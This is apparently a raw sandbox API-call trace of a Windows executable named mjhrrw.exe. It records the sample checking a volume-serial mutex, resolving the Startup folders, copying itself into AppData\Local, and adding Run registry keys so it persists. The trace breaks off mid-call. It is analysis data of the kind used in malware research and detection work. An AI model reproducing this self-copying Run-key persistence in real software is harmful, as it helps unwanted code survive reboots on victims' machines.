WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x0 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdcf0 | out: hHeap=0xaf0000) returned 1 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafae98 | out: hHeap=0xaf0000) returned 1 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf8d40 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf8d68 [0273.835] GetProcessHeap () returned 0xaf0000 [0273.835] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xaf8c68 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.836] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xaf8d68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8c68 | out: hHeap=0xaf0000) returned 1 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d40 | out: hHeap=0xaf0000) returned 1 [0273.836] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d68 | out: hHeap=0xaf0000) returned 1 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafe0e0 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3a) returned 0xafe170 [0273.836] GetProcessHeap () returned 0xaf0000 [0273.836] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe170, Size=0x72) returned 0xafae98 [0273.836] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x1e0 [0273.837] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0273.837] CloseHandle (hObject=0x1e0) returned 1 [0273.837] GetProcessHeap () returned 0xaf0000 [0273.837] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe0e0 | out: hHeap=0xaf0000) returned 1 [0273.837] GetProcessHeap () returned 0xaf0000 [0273.837] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafae98 | out: hHeap=0xaf0000) returned 1 [0273.837] GetProcessHeap () returned 0xaf0000 [0273.837] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xd0) returned 0xb03890 [0273.837] GetProcessHeap () returned 0xaf0000 [0273.837] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xc3) returned 0xafb6c0 [0273.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x384b85, lpParameter=0xafb6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0273.838] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0273.838] CloseHandle (hObject=0x1e0) returned 1 [0273.838] GetProcessHeap () returned 0xaf0000 [0273.838] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb03890 | out: hHeap=0xaf0000) returned 1 [0273.838] GetProcessHeap () returned 0xaf0000 [0273.838] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x60) returned 0xaf82d8 [0273.838] GetProcessHeap () returned 0xaf0000 [0273.838] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x5c) returned 0xaf4070 [0273.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x384b85, lpParameter=0xaf4070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0273.839] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0273.839] CloseHandle (hObject=0x1e0) returned 1 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf82d8 | out: hHeap=0xaf0000) returned 1 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf8d40 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf8d68 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xaf8c68 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.839] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xaf8d68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8c68 | out: hHeap=0xaf0000) returned 1 [0273.839] GetProcessHeap () returned 0xaf0000 [0273.839] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d40 | out: hHeap=0xaf0000) returned 1 [0273.840] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x79fc44, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x79fc44*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d68 | out: hHeap=0xaf0000) returned 1 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x60) returned 0xaf82d8 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xaf8d40 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf8d68 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e) returned 0xaf8c68 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.840] GetProcessHeap () returned 0xaf0000 [0273.840] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.840] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xaf8d68, nSize=0xf | out: lpDst="") returned 0x1e [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8c68 | out: hHeap=0xaf0000) returned 1 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf8d68, Size=0x3a) returned 0xaf8c68 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x3a) returned 0xafdd38 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.841] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xaf8c68, nSize=0x1d | out: lpDst="") returned 0x1e [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafdd38 | out: hHeap=0xaf0000) returned 1 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf8c68, Size=0x72) returned 0xafae98 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x72) returned 0xaf04a0 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.841] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xafae98, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf04a0 | out: hHeap=0xaf0000) returned 1 [0273.841] GetProcessHeap () returned 0xaf0000 [0273.841] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf8d40 | out: hHeap=0xaf0000) returned 1 [0273.842] GetProcessHeap () returned 0xaf0000 [0273.842] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x40) returned 0xafde58 [0273.842] GetProcessHeap () returned 0xaf0000 [0273.842] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x3e) returned 0xafe008 [0273.842] GetProcessHeap () returned 0xaf0000 [0273.842] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x3e) returned 0xafe290 [0273.842] GetProcessHeap () returned 0xaf0000 [0273.842] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.842] GetProcessHeap () returned 0xaf0000 [0273.842] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x10) returned 0xaf7e60 [0273.842] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.842] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xafe290, lpcbData=0x79fb60*=0x3e | out: lpType=0x79fb58*=0x2, lpData=0xafe290*=0x43, lpcbData=0x79fb60*=0x98) returned 0xea [0273.842] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf7e60 | out: hHeap=0xaf0000) returned 1 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafe290 | out: hHeap=0xaf0000) returned 1 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafe008, Size=0x7a) returned 0xaf2e90 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x7a) returned 0xaf4538 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x10) returned 0xaf7e30 [0273.843] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.843] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xaf4538, lpcbData=0x79fb60*=0x7a | out: lpType=0x79fb58*=0x2, lpData=0xaf4538*=0x40, lpcbData=0x79fb60*=0x98) returned 0xea [0273.843] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.843] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf7e30 | out: hHeap=0xaf0000) returned 1 [0273.843] GetProcessHeap () returned 0xaf0000 [0273.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4538 | out: hHeap=0xaf0000) returned 1 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xaf2e90, Size=0xf2) returned 0xafa928 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0xf2) returned 0xaf3bf0 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x10) returned 0xaf7e90 [0273.844] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.844] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xaf3bf0, lpcbData=0x79fb60*=0xf2 | out: lpType=0x79fb58*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x79fb60*=0x98) returned 0x0 [0273.844] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf7e90 | out: hHeap=0xaf0000) returned 1 [0273.844] GetProcessHeap () returned 0xaf0000 [0273.844] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xaf3cf0 [0273.844] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.844] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xaf3c88, lpcbData=0x79fb60*=0x5a | out: lpType=0x79fb58*=0x0, lpData=0xaf3c88*=0xc0, lpcbData=0x79fb60*=0x5a) returned 0x2 [0273.844] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.845] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb70 | out: phkResult=0x79fb70*=0x1e4) returned 0x0 [0273.845] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x79fb6c, lpData=0xaf3c88, lpcbData=0x79fb74*=0x5a | out: lpType=0x79fb6c*=0x2, lpData=0xaf3c88*=0xc0, lpcbData=0x79fb74*=0x78) returned 0xea [0273.845] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf3cf0 | out: hHeap=0xaf0000) returned 1 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf3bf0 | out: hHeap=0xaf0000) returned 1 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] RtlReAllocateHeap (Heap=0xaf0000, Flags=0x0, Ptr=0xafa928, Size=0x1e2) returned 0xafa0e8 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x1e2) returned 0xb0a280 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.845] GetProcessHeap () returned 0xaf0000 [0273.845] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x10) returned 0xaf7e90 [0273.845] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.845] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xb0a280, lpcbData=0x79fb60*=0x1e2 | out: lpType=0x79fb58*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x79fb60*=0x98) returned 0x0 [0273.845] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf7e90 | out: hHeap=0xaf0000) returned 1 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x1e) returned 0xafa2d8 [0273.846] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb5c | out: phkResult=0x79fb5c*=0x1e4) returned 0x0 [0273.846] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x79fb58, lpData=0xb0a318, lpcbData=0x79fb60*=0x14a | out: lpType=0x79fb58*=0x0, lpData=0xb0a318*=0x0, lpcbData=0x79fb60*=0x14a) returned 0x2 [0273.846] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.846] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x79fb70 | out: phkResult=0x79fb70*=0x1e4) returned 0x0 [0273.846] RegQueryValueExW (in: hKey=0x1e4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x79fb6c, lpData=0xb0a318, lpcbData=0x79fb74*=0x14a | out: lpType=0x79fb6c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x79fb74*=0x78) returned 0x0 [0273.846] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa2d8 | out: hHeap=0xaf0000) returned 1 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.846] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xafa0e8, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0a280 | out: hHeap=0xaf0000) returned 1 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.846] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafde58 | out: hHeap=0xaf0000) returned 1 [0273.846] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20) returned 0xafa2d8 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x8, Size=0x12) returned 0xb010f8 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x12) returned 0xb010d8 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x90) returned 0xaf4c40 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xaf4c40 | out: hHeap=0xaf0000) returned 1 [0273.847] ExpandEnvironmentStringsW (in: lpSrc="sfor.txt", lpDst=0xb010f8, nSize=0x9 | out: lpDst="sfor.txt") returned 0x9 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb010d8 | out: hHeap=0xaf0000) returned 1 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafa2d8 | out: hHeap=0xaf0000) returned 1 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a280 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a498 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a6b0 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0a8c8 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0aae0 [0273.847] GetProcessHeap () returned 0xaf0000 [0273.847] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0acf8 [0273.848] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0a498, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0273.848] GetProcessHeap () returned 0xaf0000 [0273.848] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0af10 [0273.848] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0af10, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0273.848] GetProcessHeap () returned 0xaf0000 [0273.848] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0af10 | out: hHeap=0xaf0000) returned 1 [0273.848] GetProcessHeap () returned 0xaf0000 [0273.848] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0af10 [0273.848] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0af10, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0273.848] GetProcessHeap () returned 0xaf0000 [0273.848] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0af10 | out: hHeap=0xaf0000) returned 1 [0273.848] GetProcessHeap () returned 0xaf0000 [0273.848] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x20a) returned 0xb0af10 [0273.849] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xb0af10, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0273.849] GetProcessHeap () returned 0xaf0000 [0273.849] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb0af10 | out: hHeap=0xaf0000) returned 1 [0273.849] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mjhrrw.exe"), bFailIfExists=0) returned 1 [0273.864] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x79fc54 | out: phkResult=0x79fc54*=0x1e4) returned 0x0 [0273.864] RegSetValueExW (in: hKey=0x1e4, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0273.865] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.865] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x79fc68 | out: phkResult=0x79fc68*=0x1e4) returned 0x0 [0273.865] RegSetValueExW (in: hKey=0x1e4, lpValueName="mjhrrw", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe", cbData=0x50 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Local\\mjhrrw.exe") returned 0x0 [0273.866] RegCloseKey (hKey=0x1e4) returned 0x0 [0273.866] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt"), bFailIfExists=1) returned 0 [0273.866] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\sfor.txt")) returned 0xffffffff [0273.867] GetProcessHeap () returned 